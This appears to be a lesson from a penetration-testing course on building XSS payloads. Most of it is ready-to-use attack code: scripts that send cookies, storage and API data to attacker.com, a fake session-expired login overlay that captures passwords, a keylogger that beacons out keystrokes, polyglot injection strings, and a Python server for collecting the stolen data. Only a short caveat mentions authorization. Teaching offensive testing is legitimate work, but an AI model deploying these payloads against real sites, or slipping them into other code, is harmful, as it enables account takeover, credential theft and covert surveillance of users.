Having learned to identify and exploit all three XSS types, we now focus on the creative and technical skill that separates good penetration testers from great ones: payload crafting. This lesson teaches you to build payloads for specific objectives, adapt to different contexts, and create reliable exploits that work across browsers.
Payload crafting is where technical knowledge meets creativity. You need to understand HTML, JavaScript, browser behavior, and the specific context of the injection point to create payloads that achieve your objective.
Every XSS payload serves a specific objective. Understanding these categories helps you select and craft the right payload for your engagement.
| Objective | Description | Example Technique |
|---|---|---|
| Proof of Concept | Demonstrate that code execution is possible | alert(1), alert(document.domain), print() |
| Session Hijacking | Steal session cookies for account takeover | Exfiltrate document.cookie to attacker server |
| Credential Harvesting | Create fake login forms to phishing credentials | Inject a fake login overlay matching the site's style |
| Keylogging | Capture user keystrokes for sensitive data | Attach keydown event listener to document |
| Phishing | Redirect or modify content to trick users | Replace page content with malicious version |
| Browser Exploitation | Chain with browser exploits for code execution | Use XSS as initial access for exploit kits |
| Internal Network Pivot | Use the victim's browser to scan/internal network | Make requests to internal IPs and report results |
When demonstrating XSS in a penetration test report, your PoC should prove code execution without causing harm. The industry standard is to use alert() with a unique identifier or document.domain.
// Basic PoC - proves code execution
alert(1)
// Better PoC - proves execution in the context of the target domain
alert(document.domain)
// Best PoC - unique identifier for your report
alert('XSS-POC-2024-001-' + document.domain)
// Non-intrusive PoC - no popup, just visual confirmation
// Changes the page background color
document.body.style.backgroundColor = 'red'
// Console-only PoC - completely silent
console.log('XSS executed on', document.domain)
// Print PoC - triggers browser print dialog (less intrusive than alert)
print()๐ก Using alert(document.domain) is considered best practice because it proves the XSS executes in the context of the target domain, not just any domain. This is important when testing applications with multiple subdomains or third-party integrations.
The most common exploitation objective is stealing session cookies. However, modern applications often set the HttpOnly flag on cookies, which prevents JavaScript from accessing them via document.cookie. Let's explore both scenarios.
// Basic cookie exfiltration (works when HttpOnly is NOT set)
new Image().src = 'https://attacker.com/collect?c=' + document.cookie;
// Comprehensive data exfiltration
(function() {
var data = {
cookies: document.cookie,
url: location.href,
referrer: document.referrer,
userAgent: navigator.userAgent,
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage),
timestamp: Date.now()
};
// Encode and send
var encoded = btoa(JSON.stringify(data));
new Image().src = 'https://attacker.com/collect?d=' + encoded;
})();
// When HttpOnly IS set, you can still perform actions as the user:
// Read page content
var pageContent = document.body.innerHTML;
new Image().src = 'https://attacker.com/collect?p=' + btoa(pageContent);
// Make authenticated requests
fetch('/api/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => {
new Image().src = 'https://attacker.com/collect?d=' + btoa(JSON.stringify(d));
});When cookies are HttpOnly, an alternative approach is to create a fake login overlay that captures credentials. This is particularly effective because the phishing page appears to be on the legitimate domain.
// Credential harvesting payload
(function() {
// Create an overlay that looks like a session timeout
var overlay = document.createElement('div');
overlay.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:rgba(0,0,0,0.8);z-index:99999;font-family:Arial;">
<div style="width:400px;margin:100px auto;padding:30px;
background:white;border-radius:8px;text-align:center;">
<h2 style="color:#333;">Session Expired</h2>
<p style="color:#666;">Please log in again to continue.</p>
<input id="fake-user" type="email" placeholder="Email"
style="width:90%;padding:10px;margin:10px 0;border:1px solid #ddd;">
<input id="fake-pass" type="password" placeholder="Password"
style="width:90%;padding:10px;margin:10px 0;border:1px solid #ddd;">
<button id="fake-submit"
style="width:95%;padding:12px;background:#007bff;
color:white;border:none;border-radius:4px;
cursor:pointer;font-size:16px;">
Log In
</button>
</div>
</div>
`;
document.body.appendChild(overlay);
document.getElementById('fake-submit').onclick = function() {
var user = document.getElementById('fake-user').value;
var pass = document.getElementById('fake-pass').value;
// Send credentials to attacker
new Image().src = 'https://attacker.com/collect?u=' +
encodeURIComponent(user) + '&p=' + encodeURIComponent(pass);
// Show error to make it believable
alert('Login failed. Please try again.');
};
})();โ ๏ธ Credential harvesting payloads are extremely sensitive. Only use them in authorized penetration testing engagements with explicit scope approval. Document their use carefully in your report. In CTF environments, they are fair game.
A keylogger captures every keystroke the victim makes, which is useful for capturing credentials entered after the XSS fires, or for monitoring input into sensitive fields.
// XSS Keylogger payload
(function() {
var buffer = [];
var sendInterval = 5000; // Send every 5 seconds
document.addEventListener('keydown', function(e) {
var target = e.target.tagName;
var targetName = e.target.name || e.target.id || 'unknown';
buffer.push({
key: e.key,
target: target,
targetName: targetName,
timestamp: Date.now()
});
});
// Periodically send captured keystrokes
setInterval(function() {
if (buffer.length > 0) {
var data = {
url: location.href,
keystrokes: buffer
};
navigator.sendBeacon('https://attacker.com/keylog',
JSON.stringify(data));
buffer = [];
}
}, sendInterval);
// Also send on page unload
window.addEventListener('beforeunload', function() {
if (buffer.length > 0) {
navigator.sendBeacon('https://attacker.com/keylog',
JSON.stringify({url: location.href, keystrokes: buffer}));
}
});
})();๐ก Using navigator.sendBeacon() is preferred over XMLHttpRequest for exfiltration because it's more reliable (works even during page unload), doesn't block the page, and is less likely to be blocked by browser extensions.
Polyglot payloads are designed to work in multiple contexts โ HTML body, attribute, JavaScript, and URL contexts โ with a single string. These are invaluable when you're unsure of the exact injection context or when testing multiple vectors quickly.
// The ultimate XSS polyglot by Gareth Heyes
// Works in: HTML body, HTML attribute, JavaScript, and URL contexts
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//%%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
// Simpler polyglot for common contexts
";alert(1);var x="
// Works in: HTML attribute (closes with ") and JavaScript string (closes with ")
// Context-agnostic payload using event handlers
<svg onload=alert(1)>
// Works in HTML body context
// If inside an attribute: " onfocus=alert(1) autofocus="
// Multi-context payload
'-alert(1)-'
// Works in JavaScript string context
// In HTML body, wrap in tags: <script>-alert(1)-</script>Professional penetration testers maintain a organized payload toolkit. Here is a recommended structure for your XSS payload library.
# Recommended payload toolkit structure
xss-payloads/
โโโ README.md # Index with descriptions
โโโ poc/
โ โโโ alert-domain.txt # alert(document.domain)
โ โโโ print.txt # print()
โ โโโ console-log.txt # console.log('XSS')
โโโ session-hijacking/
โ โโโ basic-cookie.txt # Simple cookie steal
โ โโโ full-exfil.txt # Comprehensive data theft
โ โโโ authenticated-fetch.txt # API data exfiltration
โโโ phishing/
โ โโโ login-overlay.txt # Fake login form
โ โโโ redirect.txt # Malicious redirect
โโโ keylogging/
โ โโโ basic-keylogger.txt # Simple keylogger
โ โโโ targeted-keylogger.txt # Targets specific inputs
โโโ polyglots/
โ โโโ gareth-heyes.txt # Ultimate polyglot
โ โโโ simple.txt # Simple multi-context
โโโ tools/
โโโ beef-hook.txt # BeEF framework hook
โโโ custom-server.py # Exfiltration server# Simple exfiltration server for receiving XSS data
# tools/exfil_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import json
from datetime import datetime
class XSSHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urlparse(self.path)
params = parse_qs(parsed.query)
# Log the exfiltrated data
timestamp = datetime.now().isoformat()
log_entry = {
'timestamp': timestamp,
'ip': self.client_address[0],
'path': self.path,
'params': params,
'headers': dict(self.headers)
}
print(f"\n[+] Data received at {timestamp}")
print(f" From: {self.client_address[0]}")
print(f" Data: {json.dumps(params, indent=2)}")
# Save to file
with open('xss_captures.json', 'a') as f:
f.write(json.dumps(log_entry) + '\n')
# Return a 1x1 transparent pixel
self.send_response(200)
self.send_header('Content-Type', 'image/gif')
self.end_headers()
# 1x1 transparent GIF
self.wfile.write(
b'GIF89a\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'
b'\x00\x00\x00!\xf9\x04\x00\x00\x00\x00\x00,\x00'
b'\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D'
b'\x01\x00;'
)
def log_message(self, format, *args):
pass # Suppress default logging
if __name__ == '__main__':
server = HTTPServer(('0.0.0.0', 8888), XSSHandler)
print('[*] XSS Exfiltration Server running on port 8888')
server.serve_forever()You now have a comprehensive payload toolkit. In the next lesson, we will tackle one of the most challenging aspects of XSS exploitation: bypassing filters, WAFs, and input validation that stand between you and successful exploitation.
Verify exercises to earn โ 170 XP and unlock next lab level.